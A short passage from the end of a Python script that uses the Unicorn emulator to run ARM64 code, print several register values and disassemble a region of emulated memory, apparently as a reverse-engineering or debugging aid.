        print('x10 : ',hex(uc.reg_read(UC_ARM64_REG_X10)))
        print('x11 : ',hex(uc.reg_read(UC_ARM64_REG_X11)))
        print('x2 : ',hex(uc.reg_read(UC_ARM64_REG_X2)))
        print('x26 : ',hex(uc.reg_read(UC_ARM64_REG_X26)))
        print('x19 : ',hex(uc.reg_read(UC_ARM64_REG_X19)))
        #print(disasm(uc.mem_read(pc,0x50)))
        print(disasm(uc.mem_read(0x10000000,0x100)))

if __name__ == '__main__':
    play()